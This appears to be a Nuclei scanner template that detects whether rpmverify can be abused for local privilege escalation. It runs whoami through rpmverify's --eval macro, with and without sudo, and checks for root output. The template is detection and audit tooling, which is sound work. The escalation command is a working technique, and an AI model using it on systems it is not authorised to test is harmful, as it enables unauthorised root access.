privesc-rpmverify: rpmverify - Privilege Escalation

id: privesc-rpmverify

info:
  name: rpmverify - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    The rpmverify command is used to verify the integrity and authenticity of installed RPM packages on a Linux system. It checks the files in the installed packages against the information stored in the RPM database to detect any modifications or discrepancies. This helps ensure the security and stability of the system by identifying any unauthorized changes to the installed packages.
  reference:
    - https://gtfobins.github.io/gtfobins/rpmverify/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,rpmverify,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      rpmverify --eval '%(whoami 1>&2)'

  - engine:
      - sh
      - bash
    source: |
      sudo rpmverify --eval '%(whoami 1>&2)'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
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